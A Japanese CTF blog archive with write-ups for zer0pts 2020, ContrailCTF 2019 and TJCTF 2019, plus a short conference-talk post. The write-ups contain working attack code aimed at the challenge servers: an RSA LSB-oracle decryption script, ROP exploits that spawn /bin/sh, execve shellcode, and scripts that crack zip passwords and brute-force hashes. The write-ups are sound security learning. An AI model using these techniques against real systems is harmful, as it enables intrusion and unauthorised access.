  • server.py
  • chall.txt

暗号化されたフラグとそのシグネチャっぽいものが与えられます.またサーバではどうやらRSA暗号周りの処理が動いているようです.
Public Key Disclosureを選択すれば公開鍵が入手でき,これは一定です.またVerify Encrypted Messageにより,好きな暗号文の平文のシグネチャを手に入れることができました.
シグネチャを計算するコード_hash(m)を読んでみると元の数の最下位ビットは保存されたままになっていることがわかり,LSB Decryption Oracle Attackによりフラグを復号できることがわかりました.
1024回ほどncでつなぐのでブルートフォース扱いされないか少し怖かったですが全く問題ありませんでした良かった.
そるばどぺー

from pwn import *
from fractions import Fraction

def getLSB(c):
    r = remote("18.179.178.246", 3001)
    r.sendline("2")
    r.sendline(hex(c)[2:])
    r.sendline("58cfe4f1")
    r.recvuntil("!= ")
    sig = int(r.recvline(), 16)
    print(hex(sig))
    r.close()
    return sig & 1

n = 0x6d70b5a586fcc4135f0c590e470c8d6758ce47ce88263ff4d4cf49163457c71e944e9da2b20c2ccb0936360f12c07df7e7e80cd1f38f2c449aad8adaa5c6e3d51f15878f456ceee4f61547302960d9d6a5bdfad136ed0eb7691358d36ae93aeb300c260e512faefe5cc0f41c546b959082b4714f05339621b225608da849c30f
e = 0x10001
c = 0x3cfa0e6ea76e899f86f9a8b50fd6e76731ca5528d59f074491ef7a6271513b2f202f4777f48a349944746e97b9e8a4521a52c86ef20e9ea354c0261ed7d73fc4ce5002c45e7b0481bb8cbe6ce1f9ef8228351dd7daa13ccc1e3febd11e8df1a99303fd2a2f789772f64cbdb847d6544393e53eee20f3076d6cdb484094ceb5c1

def lsbdec(c):
    bounds = [0, Fraction(n)]

    i = 0
    while True:
        print(i)
        i += 1

        c2 = (c * pow(2, e, n)) % n
        lsb = getLSB(c2)
        print("lsb = {}".format(lsb))
        if lsb == 1:
            bounds[0] = sum(bounds)/2
        else:
            bounds[1] = sum(bounds)/2
        diff = bounds[1] - bounds[0]
        diff = diff.numerator // diff.denominator
        if diff == 0:
            m = bounds[1].numerator // bounds[1].denominator
            return m
        c = c2

def decodeM(m):
    s = hex(m)[2:]
    l = []
    if (len(s) & 1):
        l.append(chr(int(s[0], 16)))
        s = s[1:]
    ss = re.split("(..)", s)[1::2]
    for i in ss:
        l.append(chr(int(i, 16)))
    return "".join(l)

print(len(bin(c)) - 2)
m = lsbdec(c)

print(decodeM(m))

zer0pts{n3v3r_r3v34l_7h3_LSB}

[forensics] Locked KitKat

We've extracted the internal disk from the Android device of the suspect. Can you find the pattern to unlock the device? Please submit the correct pattern here.

androidのイメージが渡されます.また問題文に書いてあるサイトに飛ぶとandroidのロック画面にある,パターンでログインする画面が表示されていました.
androidのイメージからログインパスワードのパターンを割り出したいのでとりあえずマウントします.

$ sudo mount -o loop android.4.4.x86.img /mnt/mymnt
$ cd /mnt/mymnt/system

androidのパターンのパスワードは/system/gesture.keyに保存されています.guesture.keyからパスワードを求めるのはandrillerを使いました.
f:id:mi__tsu:20200309202646p:plain
zer0pts{n0th1ng_1s_m0r3_pr4ct1c4l_th4n_brut3_f0rc1ng}

[pwn] hipwn

Hi, all pwners over the world!

  • chall
  • main.c

バイナリを動かしてみるとbofができます.普通にropすれば大丈夫そうです.
libcがありませんがraxやrdiにいい感じに値を代入してsyscallすればexecve("/bin/sh", NULL, NULL)が呼べます.
そるばどぺー

from pwn import *
import sys

offset = 264
data_section = 0x604020

xor_eax_eax = 0x004023f7
mov_rsi_r12__syscall = 0x0040247a
pop_r12 = 0x0040245d
pop_rdx = 0x004023f5
pop_rax = 0x00400121
mov_qprdi_rax = 0x00400704
pop_rdi = 0x0040141c

if len(sys.argv) == 1:
    r = process("./chall")
    log.info("pid = {}".format(r.pid))
else:
    r = remote("13.231.207.73", 9010)

sleep(5)
    
# execve("/bin/sh", NULL, NULL)
payload = b"A" * offset

# rdi = "/bin/sh"
payload += p64(pop_rdi)
payload += p64(data_section)
payload += p64(pop_rax)
payload += b"/bin/sh\x00"
payload += p64(mov_qprdi_rax)

# rdx = 0
payload += p64(pop_rdx)
payload += p64(0)

# rax = 59
payload += p64(pop_rax)
payload += p64(59)

# rsi = 0, syscall
payload += p64(pop_r12)
payload += p64(0)
payload += p64(mov_rsi_r12__syscall)

r.sendline(payload)
r.interactive()

フラグは忘れちゃいました.

[reversing] QRPuzzle

This puzzle is a puzzling puzzle.

  • chall
  • key
  • encrypted.qr

暗号化されたQRコードらしき文字列とその暗号化バイナリが渡されます.keyを受け取って暗号化したことが想像できます.
challの大まかな処理の流れは,read_QR->read_Key->encrypt->save_QRみたいな感じ(関数名は適当)でした.QRの読み込みも出力もおそらく二次元配列で管理してるであろうと予測してread_Keyとencryptのみ解析しました.
keyファイルにはx#(a,b)の形の行がたくさんあり,xは3以下のものしかありませんでした.またread_Keyはkeyファイルを一行ずつ読み取り,逐次何やら処理を行っていました.
keyの読み取りにはfscanf("%d#(%d,%d)", ...)が使われ,代入先を考えると

typedef struct {
    int a;
    int b;
    int x;
} KEY;
KEY keys[keylen];
}

みたいに管理された配列に代入されているとわかりました.
encryptではkeysを順番に次のような処理をしていました.(多分)

abuf = a, bbuf = b;
switch(x) {
case 0: a--; break;
case 1: a++; break;
case 2: b--; break;
case 3: b++; break;
}
QR[a][abuf] += QR[b][a];
QR[b][a] = QR[a][abuf] - QR[b][a];
QR[a][abuf] -= QR[b][a];

要素の交換っぽいので同じ操作で元の状態に戻すことができ,encryptではkeyを上から順番に処理していたので,復号にはkeyを下から順番に処理させれば大丈夫です.
よってkeyを上下逆順にしたものをdeckeyと名付け

$ ./chall encrypted.qr deckey out

という風にやれば元のQRコードがoutに出力されます.これをstrong-qr-decoderで復号するとフラグが手に入ります.
zer0pts{puzzl3puzzl3}

[reversing] vmlog

I wrote my vm and its program. Can you guess the source code and input?

  • vm.py
  • log.txt

vm.pyの処理を追いかけて入力を逆算すればいいです.元の難解言語っぽい物を何度も読むのは大変なので次のようなコードに頑張って直しました.

mem = [4611686018427387903, 247905749270528, 28629151, 0, 1, 0, 0, 0, 0, 0]
reg = mem[4]
while reg != 0:
    print(mem)
    mem[4] -= 1
    reg = mem[2]
    a = input()
    if not a:
        reg = 0
    else:
        reg += ord(a)
    while reg != 0:
        mem[2] = (reg * mem[1]) % mem[0]
        mem[3] = mem[4]
        mem[4] += 1
        reg = mem[3]
    reg = mem[4]
print(mem[2])

log.txtではループでのmemの状態を見ることができるので入力のaを逆算できそうです.
そるばどぺー

mems = [
[4611686018427387903, 247905749270528, 28629151, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4588277794174371330, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4557362566608270193, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4597225827500493308, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4399455111035409631, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 3664679811648746944, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1822527803964528750, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2107290073593614393, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 103104307719214561, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 3773217954610171964, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1852072839260827083, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 3465871536121230779, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 223194874355517702, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1454204952931951837, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 3030456872916287478, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 426011771323652532, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1276028785627724173, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1962653697352394735, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1600956848133034570, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2045579747554458289, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4248193240456187641, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4478689482975263576, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1235692576284114044, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2579703272274331094, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1394874119223018380, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4275420194958799226, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2401030954359721279, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1313700932660640339, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2401701271938149070, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4217153612451355368, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2389747163516760623, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 3483955087661197897, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4522489230881850831, 0, 1, 0, 0, 0, 0, 0]]

chs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%&\()+,-./:;<=>?@^_`{|}~"

flag = ""
for i in range(1, len(mems)):
    mem = mems[i]
    for ch in chs:
        reg = mems[i - 1][2] + ord(ch)
        if (reg * mem[1]) % mem[0] == mem[2]:
            flag += chr(reg - mems[i - 1][2])
            print("flag = {}".format(flag))

zer0pts{3asy_t0_f0110w_th3_l0g?}
一文字ずつ同定していって徐々に構築されるの見るのすこ.

[reversing] easy strcmp

Do you know how relocation works?

  • chall

引数にフラグをセットして合ってるか確認してくれるタイプのバイナリです.
ltraceで追ってみるとstrcmp(argv[1], "zer0pts{********CENSORED********}")みたいな処理をしていたのにも関わらずzer0pts{********CENSORED********}を引数として与えてもWrong!と言われてしまいます.
gdbで追いかけてみるとstrcmpが呼び出せれる前に第一引数に対して細工をしstrcmpが呼び出されるようになってました.頑張ってradare2で追いかけると,第一引数と0x201060から始まるバイト列をを8バイトで区切り差を取っていることがわかりました.
つまり,zer0pts{********CENSORED********}と0x201060から始まるバイト列を8バイトごとに区切って足し算すればフラグを求めることができます.
そるばどぺー

import binascii

chs = b"\x00\x00\x00\x00\x00\x00\x00\x00\x42\x09\x4a\x49\x35\x43\x0a\x41\xf0\x19\xe6\x0b\xf5\xf2\x0e\x0b\x2b\x28\x35\x4a\x06\x3a\x0a\x4f"
chs = [chs[i: i+8] for i in range(0, len(chs), 8)]

badflag = b"zer0pts{********CENSORED********}"
badflag = [badflag[i: i+8] for i in range(0, len(badflag), 8)]

flag = b""
for i in range(len(chs)):
    x = int.from_bytes(chs[i], "little")
    x += int.from_bytes(badflag[i], "little")
    x &= 0xffffffffffffffff
    flag += x.to_bytes(8, "little")
    print(flag)

flag += b"}"
print(flag)

zer0pts{l3ts_m4k3_4_DETOUR_t0d3y}

[reversing] wysinsyg

Do you know how ptrace works?

  • wysinsyg

与えられたバイナリは小プロセスを起動しシステムコールをトラップしてなんか色々やるもので,小プロセスは第一引数を表示するみたいな処理をやっていました.親プロセスは小プロセスがwriteシステムコールを発行するときptrace(PTRACE_PEEKDATA, child, 0, regs)みたいな処理をしていました.画面への表示はwriteシステムコールで行うため,小プロセスが第一引数を表示するときに行われることが予想できます.
そのため,親プロセスをgdbで追いかけていきます.gdbでのset follow-fork-mode parentはやっておいたほうがいいです.
gdbで見ていくと案の定,小プロセスが第一引数を表示するときに怪しい処理を行っていました.しかし途中でネストが非常に深い関数に遭遇し大変そうだったたのでradare2で真相を探っていきます.
例のネストが深いコードをradare2で解析すると次のようなpythonのコードに直すことができました.

def cal(a):
    if a == 0:
        retirm 0
    b = 0x5beb
    c = 0x8bae6fa3
    res = 1
    for i in range(b):
        res = (c + (res * (a % c)) % c) % c
    return res

これが再帰で行われていたためやばい処理にみえたことは納得です.
またもう少し解析を進めると,第一引数に与えた文字列の各文字をcal()で計算した結果が0x202020から始まるバイト列と一致すればよいことがわかります.cal()を計算するのはちょっと時間がかかったので前計算をして置き,次のようなコードでフラグを逆算できました.

import sys
import struct

def cal(a):
    if a == 0:
        return 0
    b = 0x5beb
    c = 0x8bae6fa3
    res = 1
    for i in range(b):
        res = (c + (res * (a % c)) % c) % c
    return res

flags = "38 01 40 1a 00 00 00 00 67 b8 9a 27 00 00 00 00 69 29 7d 17 00 00 00 00 f5 46 6e 0e 00 00 00 00 f8 21 26 51 00 00 00 00 73 ce 96 2e 00 00 00 00 96 b4 84 04 00 00 00 00 6e 4f 41 73 00 00 00 00 96 b4 84 04 00 00 00 00 e9 74 c2 01 00 00 00 00 96 b4 84 04 00 00 00 00 62 c7 7d 63 00 00 00 00 4a 7a 14 15 00 00 00 00 5e 89 e9 1f 00 00 00 00 5e 89 e9 1f 00 00 00 00 eb 01 2b 86 00 00 00 00 cd 06 5a 77 00 00 00 00 f5 46 6e 0e 00 00 00 00 f5 46 6e 0e 00 00 00 00 66 24 6a 3e 00 00 00 00 6d ab 00 03 00 00 00 00 12 cc 67 5a 00 00 00 00 01 7e 16 34 00 00 00 00 eb 01 2b 86 00 00 00 00 6d ab 00 03 00 00 00 00 96 b4 84 04 00 00 00 00 eb 01 2b 86 00 00 00 00 6d ab 00 03 00 00 00 00 4d da ef 11 00 00 00 00 f8 21 26 51 00 00 00 00 f5 46 6e 0e 00 00 00 00 69 29 7d 17 00 00 00 00 73 ce 96 2e 00 00 00 00 4a 7a 14 15 00 00 00 00 12 cc 67 5a 00 00 00 00 73 ce 96 2e 00 00 00 00 4d 14 80 78 00 00 00 00 6b ed 69 5a 00 00 00 00".split()

flags = [flags[i:i+8] for i in range(0,len(flags) - 1,8)]
for i in range(len(flags)):
    flags[i] = "".join(flags[i])
    flags[i] = int(flags[i], 16)
    flags[i] = struct.unpack(">Q",struct.pack("<Q",flags[i]))[0]
chs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"
cals = []
for i in chs:
    print("chs append... {}".format(i))
    cals.append(cal(ord(i)))

flag = ""
for f in flags:
    x = len(chs) - 1
    for idx in range(len(cals)):
        if cals[idx] == f:
            x = idx
            break
    flag = flag + chs[x]

print(flag)

zer0pts{sysc4ll_h00k1ng_1s_1mp0rt4nt}

ContrailCTF 2019 writeup

はじめに

Kaitoさんと新しい仲間ぬるぬるさんを加えてStarrySkyはContrailCTFに旅立ちました。
f:id:mi__tsu:20200104001646p:plain
4位でしたがpwnが全然解けなくてつらかったです。もっと勉強します。

[forensics] cutecats

volatilityとmimikatzで殴ります。mimikatzの存在を知らなかったので大変でした。

[rev] DownloaderLog

wiresharkでELFファイルと数字が書かれたテキストファイルがエクスポートできます。どうやら時間を使ってごネゴねやってるっぽいです。
ptraceを使ってアンチデバッグしているところをnopで潰し、いい感じに分岐を乗り越えてgdbで適当に動かしたらフラグがでました。
自己消滅する実行ファイルすこ。

[misc] prime_number

音源が渡されます。とりあえずスペクトログラムをみます。
f:id:mi__tsu:20200104003945p:plain
dtmfだ!
数字に直すとこうなります。
53 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
何番目の素数かをそのままアルファベットに置き換えると "PLEASEREMEMBERDTMF" となります。これがzipのパスワードです。
zipを開けるとフラグが入手できます。

[crypto] document_rescue

線形合同法を利用して暗号化されたpdfが送られます。すでに分かっている文字列"PDF-9.9"と、pdfファイルの最後にある"%%EOF"を利用して複合します。ただ実際のpdfは最後が必ず"%%EOF"であるとは限らず、この後ろに改行文字や"\r"がつくことがあり、二文字分くっついてることもあるので複合が大変でした。またパディングとして\x00がいくつかついてることもあり、%%EOFが後ろから何byte目にあるかを利用して総当たりしました。
何はともあれ、解けたのでいいです。あとKaitoさんごめんなさい。

import sys
from z3 import *
import subprocess

def mask(pad):
    if pad == 0:
        return 0xffffffff
    if pad == 1:
        return 0xffffff
    if pad == 2:
        return 0xffff
    if pad == 3:
        return 0xff

def revmask(pad):
    if pad == 0:
        return 0xffffffff
    if pad == 1:
        return 0xffffff00
    if pad == 2:
        return 0xffff0000
    if pad == 3:
        return 0xff000000

with open("flag.www", "rb") as f:
    data = bytearray(f.read())


data_len = len(data)
lcm = data_len // 4

m = pow(2, 32)
xs = [0] * lcm

for i in range(lcm):
    xs[i] = int.from_bytes(data[i * 4: i * 4 + 4], "big")

modi = b"%PDF-9.9"
padding = int(sys.argv[1])
EOF = int.from_bytes(b"%EOF", "big")

ps = [0] * lcm
ps[0] = int.from_bytes(modi[0:4], "big")
ps[1] = int.from_bytes(modi[4:8], "big")
ps[lcm - 2] = BitVec("pl_1", 64)
ps[lcm - 1] = BitVec("pl", 64)

aa = BitVec("a", 64)
bb = BitVec("b", 64)
s = Solver()
s.add(ps[lcm - 1] > 0)
s.add(ps[lcm - 1] < m)
s.add(aa > 0)
s.add(aa < m)
s.add(bb > 0)
s.add(bb < m)

s.add(((xs[lcm - 1] ^ ps[lcm - 1]) - (xs[1] ^ ps[1])) % m == (aa * (xs[lcm - 2] - xs[0])) % m)
s.add((revmask(padding) & ps[lcm - 1]) == ((EOF & mask(padding)) << (padding * 8)))

if padding !=  0:
    s.add(((~revmask(padding)) & ps[lcm - 2]) == ((EOF & (~mask(padding))) >> ((4 - padding) * 8)))
    s.add((ps[lcm - 2] & (0xff << (padding * 8))) == (0x25 << (padding * 8)))

s.add(xs[1] ^ ps[1] == (aa * xs[0] + bb) % m)
s.add(xs[lcm - 1] == (((aa * xs[lcm - 2] + bb) % m) ^ ps[lcm - 1]))
s.add(xs[lcm - 2] == (((aa * xs[lcm - 3] + bb) % m) ^ ps[lcm - 2]))

print(s.check())
while s.check() == sat:
    a = s.model()[aa].as_long()
    b = s.model()[bb].as_long()
    print("a = {}, b = {}".format(a, b))

    g = open("flag.dec", "wb")
    x = ps[0]
    g.write(x.to_bytes(4, "big"))

    for i in range(1, lcm):
        enc = (a * xs[i - 1] + b) % m
        x = xs[i] ^ enc
        g.write(x.to_bytes(4, "big"))
        
    g.close()

    try:
        out = subprocess.check_output("hexdump -C 'flag.dec' | grep '%%EOF'", shell=True)
        if len(out) > 0:
            print("Found!")
            exit(0)
    except subprocess.CalledProcessError:
        print("Not Found")

    s.add(Or(s.model()[aa] != aa, s.model()[bb] != bb))

ちなみに複合したあとはpdfのヘッダの修復が必要なのですが、chromiumはそんなのお構いなしに表示してくれました。
f:id:mi__tsu:20200104003720p:plain

[pwn] welcomechain

64bitのropです。libcのベースアドレスをリークさせてsystemを呼び出せばいいです。

from pwn import *
import sys

overflow_len = 40
puts_plt = 0x004005a0
printf_got = 0x601030
pop_rdi = 0x00400853
main_addr = 0x004007ba
ret = 0x00400576
if sys.argv[1] == "r":
    printf_offset = 0x64e80
    system_offset = 0x4f440
    binsh_offset = 0x1b3e9a
    r = remote("114.177.250.4", 2226)

sleep(5)

# read libc_base
payload = b"A" * overflow_len
payload += p64(pop_rdi)
payload += p64(printf_got)
payload += p64(puts_plt)
payload += p64(main_addr)

r.sendline(payload)

r.recvuntil("Your input is :")
print(r.recvline())
printf_addr = u64(r.recv(6) + b"\x00\x00") 
print("printf_addr: {}".format(hex(printf_addr)))
libc_base = printf_addr - printf_offset
print("libc_base: {}".format(hex(libc_base)))
system_addr = libc_base + system_offset
print("system_addr: {}".format(hex(system_addr)))
binsh_addr = libc_base + binsh_offset
print("binsh_addr: {}".format(hex(binsh_addr)))

# attack
payload = b"A" * overflow_len
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)

r.sendline(payload)

r.interactive()

[pwn] EasyShellcode

シェルコードを標準入力で受け取って実行してくれるようです。ただ実行されるまえにスタックポインタが0にされてしまっていてそのままだとpushが使えませんでした。制限も20bytesと結構短めです。頑張ってゴルフします。

global _start
section .text
_start:
	xchg rax, rsp
	push 59
	pop rax
	mov rbx, '/bin//sh'
	push rbx
	push rsp
	pop rdi
	syscall

これで丁度20bytesです。あとは流し込むだけ。

from pwn import *
import sys

if sys.argv[1] == "r":
    r = remote("114.177.250.4", 2210)
else:
    r = process("./problem")

shellcode = "\x48\x94\x6a\x3b\x58\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x0f\x05"

print(hex(len(shellcode)))[f:id:mi__tsu:20200104003020p:plain]

sleep(5)

r.sendline(shellcode)
r.interactive()

pwnはこの二問だけです。辛い……

[network] debug_port

wiresharkでパケット解析です。Lengthでソートしたときの一番上のパケットを追跡してみました。
f:id:mi__tsu:20200104003020p:plain
がーーっと見てると怪しい文字列が。
f:id:mi__tsu:20200104003135p:plain
base64なのでデコードすると

echo 'congratulations!'
echo 'flag is "ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}"'

高専カンファレンス in 小山 2019 で発表してきました!

11/3 に小山高専高専カンファレンスが開催されました!
主催はもりとさん (@CraftKap) で、アーカイブはこちらに残っています。興味があればぜひ見てください。
www.youtube.com

動機

プレゼンをしたきっかけは、実は今まで手打ち ELF の記事をあげようにもあげれなかったからです。
本当はプレゼンの内容よりももっと詳しいバイナリのフォーマットの話をブログに上げようと思っていました。しかし記事の文字数が大変なことになり、書くのも疲れ、図も作るのが大変で……というようなことが積み重なり結局断念してしまいました。しかし意外と手打ち ELF の人口が少なく、内容もそれなりに面白いと思ったのでとにかく誰かに伝えたいという気持ちは残ったままでした。
その時丁度良くもりとさんが小山高専高専カンファをやるということを教えてくれました。スライドならそこまで詳しく作る必要もなく、さらに実質的な納期も決められているためやる気が出るかと思い、そのままの勢いで参加したのです。まあその結果があのプレゼンだったわけですが……。

全体の雰囲気

発表者側も聞き手側も想像以上に強い人が多く、自分が発表する直前までとにかく緊張感で押しつぶされそうでした。特にゲームを作る話や自作 CPU の話が印象に残っています。
また自分の直前に発表された方も 3D プリンタを駆使してみていて面白いものをたくさん作っていて、特にヤンセン機構のものは親近感を覚えました。(中学生のころ初めて作った歩行ロボットがこの機構を利用していて、当日展示していたゲームのタイトルもこれがモチーフでした)
あとは想像以上にハード屋さんの割合が多く、自分の発表は受け付けてもらえないかもしれないと結構不安でした。
しかし実際発表し始めると不安も全部消し飛びました。運営の進行がスムーズで、機材もしっかり調整されていて問題もなく流れるように進んだからです。この点は特に運営側の方に感謝しているところです。
その後も楽しく参加することができ、最後の写真撮影まで気持ちがある程度引き締まった最高の状態でいられました。とにかく楽しかったです!

発表について

とにかく反省点が多いです。そもそも初めてのプレゼンで 20 分枠を問題なく話すのが無理な話で選択を間違えた気がしました。またスライドの枚数が 110 枚を超え、発表が物量の嵐でした。多分聞き手側は何を言ってるのかさっぱりだったと思います。また聞き手側への配慮も足りませんでした。アセンブリや readelf コマンドなどを知ってるものとして進めてしまいましたが、勉強しているジャンルが違う方には意味が分からなかったと思います。
またプレゼン時間も結局 3 分程オーバーしてしまいました。
あとオタク特有の早口。これは時間的に丁度いいペースだったと思いますが一般的にはアウトです。あと言い間違いによる間違った情報の公言にも恐れすぎていたかもしれません。
プレゼンは何度も発表して場数を踏むことが一番の練習になると思っているので後悔はしていません。しかしちゃんと反省はしなくてはいけないなと感じました。

発表してよかった点として、自分が好きでやってることに対する周りの人の感想が聞ける点です。低レイヤer の人口の少なさや見られ方が意外とよくわかった気がします。
あとは多くの高専生と話すことができたこともいいことでした。

終わった後

同級生の友達と幣の花火を見てました。もっとも自分は強い光と大きな音がダメなのでビクビクしながら楽しんでいましたが……。でも毎年見てますよ!実行委員の方にはお疲れ様を言いたいです。
その後は人ごみにもまれながら帰りました。

楽しい時間をありがとうございました!
最後に自分の使ったスライドを適当においておきます。多分進むのが速すぎてよく読めなかったと思うのでぜひ。

TJCTF 2019 Writeup

はじめに

TJCTF 2019にStarrySkyとしてKaitoさんと参加しました。はじめの頃はかなりいい順位をキープできていましたが段々と失速していき、最終的に30位という結果に落ち着いてしまいました。
以下、自分が解いた問題+αのwriteupを書いていきます。

[Cryptography 5pts] Double Duty

--
Everyone knows that caesar ciphers aren't very good. So I caesared my message 2000 times. Good luck trying to decode that!
yfn uzu pfl tirtb dp katkw{jvbivk_tfuv}
--

ROT17です。復号します。
how did you crack my tjctf{sekret_code}

[Forensics 5pts] MC Woes

--
My world won't launch anymore! I'm sure its something in the files...
--
__ "my world.zip" __

zipを展開するとファイルがたくさんでてきました。
worlddataディレクトリの中のlevel.datというファイルの中にフラグが隠されていました。

$ strings wordldata/level.dat | grep tjctf
tjctf{_g3t_sn4ck5}

[Cryptography 5pts] Touch Base

--
Decode this string for an easy flag!
Encoded: dGpjdGZ7ajJzdF9zMG0zX2I0c2U2NH0=
--

Base64です。復号します。

$ echo dGpjdGZ7ajJzdF9zMG0zX2I0c2U2NH0= | base64 -d
tjctf{j2st_s0m3_b4se64}

[Forensics 5pts] Corsair

--
Here is a picture of my favorite plane!
--
__ corsair.jpg __

画像ファイルが渡されます。stegsolveでBlue Planeを抽出します。
f:id:mi__tsu:20190410185204j:plain

[Reversing 10pts] Python in One Line

--
It's not code golf but it's something...
one.py This is printed when you input the flag: .. - / .. ... -. - / -- --- .-. ... / -.-. --- -.. .
--
__ one.py __

one.pyを読むと、アルファベットが..や/などにそのまま対応してるのがわかります。
tjctf{jchiefcoil}

[Cryptography 10pts] Spotmanship

--
It is simply this: do not tire, never lose interest, never grow indifferent—lose your invaluable curiosity and you let yourself die. It's as simple as that.” “I'm a liar and a cheat and a coward, but I will never, ever, let a friend down. Unless of course not letting them down requires honesty, fair play, or bravery.
ciphertext: ROEFICFEENEBZDLFPY
key: UNPROBLEMATICDFGHKQSVWXYZ
Flag format is tjctf{plaintext}
--
最初はビジュネル暗号かなにかかと思ってましたが、ぐぐってみるとどうやらプレイフェア暗号といういかにもな名前の暗号があるらしい。
複合する。
tjctf{practicalplayfairx}

[Cryptography 10pts] Guess My Hashword

--
I bet you'll never guess my password!
I hashed tjctf{[word]} - my word has a captial letter, two lowercase letters, a digit, and an underscore. ex: hash('tjctf{o_0Bo}') or hash('tjctf{Aaa0_}')
Here's the md5 hash: 31f40dc5308fa2a311d2e2ba8955df6c
--

どうやら大文字、数字、アンダーバーが一文字、小文字が二文字の文字列がmd5でハッシュ化されてるらしいです。文字数が少ない上条件もついてるのでブルートフォースしていきます。
ソルバどぺー

import hashlib
import itertools
import  sys

words_capital = [chr(i) for i in range(65, 65+26)]

words_lower1 = [chr(i) for i in range(97, 97+26)]
words_lower2 = [chr(i) for i in range(97, 97+26)]

words_num = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]

words_under = ["_"]

wordlist = [words_capital, words_lower1, words_lower2, words_num, words_under]

target = "31f40dc5308fa2a311d2e2ba8955df6c"

nums = [0, 1, 2, 3, 4]
for b in itertools.permutations(nums, 5):
    for i in itertools.product(wordlist[b[0]], wordlist[b[1]], wordlist[b[2]], wordlist[b[3]], wordlist[b[4]]):
        s = "".join(i)
        s = "tjctf{" + s + "}"
        h = hashlib.md5(s.encode()).hexdigest()
        #print (h)
        if h == target:
            print(s)
            sys.exit()

実は最初、tjctf{}を含まない文字列がハッシュ化されていると思って無限に時間を溶かしていました。うーん…

[Cryptography 20pts] Easy as RSA

--
Decrypt this for a quick flag!
--
__ rsa.txt __

rsa.txtには公開鍵と暗号文が書いてあります。nの値がとても小さいので簡単に素因数分解できました。
コードどぺー

# Coding: utf-8
import gmpy2

def egcd(a, b):
    (x, lx) = (0, 1)
    (y, ly) = (1, 0)
    while b != 0:
        q  = a // b 
        (a, b) = (b, a % b)
        (x, lx) = (lx - q * x, x)
        (y, ly) = (ly - q * y, y)
    return lx 

def modinv(e, fai):
    return egcd(e, fai) % fai

n = 379557705825593928168388035830440307401877224401739990998883
e = 65537
c = 29031324384546867512310480993891916222287719490566042302485

p = 564819669946735512444543556507
q = 671998030559713968361666935769
fai = (p - 1) * (q - 1)
d = modinv(e, fai)
m = pow(c, d, n)
s = "".join(map(chr, int(m).to_bytes(math.ceil(m.bit_length() / 8), "big")))
print(s)

tjctf{RSA_2_3asy}

[Miscellaneous 20pts] Journey

--
Every journey starts on step one
nc p1.tjctf.org 8009
--

netcatで接続すると"Encountered 'hoge'"とか言われるのでhogeを入力として渡してあげれば次に次にと進めます。
ただ、10分ほど経つと接続が切れてしまい最後まで入力し切ることができませんでした。
色々実験していると、'hoge'のあとは必ず'nyaa'、'nyaa'のあとは必ず'unya'となるようで、接続が切れた後も途中から始めることができました。
ソルバどぺー

from pwn import *
import re 

r = remote("p1.tjctf.org", 8009)

cnt = 0
while True:
    s = r.recv(0x100)
    log.info(s)
    s = re.split("[ \n]", s)
    s = s[1][1:-1]
    if cnt == 0:
        s = "context"
    log.info(s)
    r.sendline(s)
    cnt += 1

tjctf{an_38720_step_journey}

[Forensics 20pts] All the Zips

--
140 zips in the zip, all protected by a dictionary word.
--
__ all_the_zips.zip __

zipが渡されるので解答します。するとたくさんのパスワード付きzipがでてきました。
all protected by a dictionary word と言われてるのでjohn the ripperを使って全部パスワードを解除してあげました。辞書ファイルはcracklib-smallというものを使いました。
さすがに手動でやるのは酷だったのでシェルスクリプトを書いて自動化しました。
パスワードを見つけるやつ。

#!/bin/sh

for file in `\find . -maxdepth 1 -type f`;
do
    hashname="${file}.hash"
    echo $hashname
    zip2john $file > $hashname
    john -wordlist=/usr/share/dict/cracklib-small $hashname --rules
done

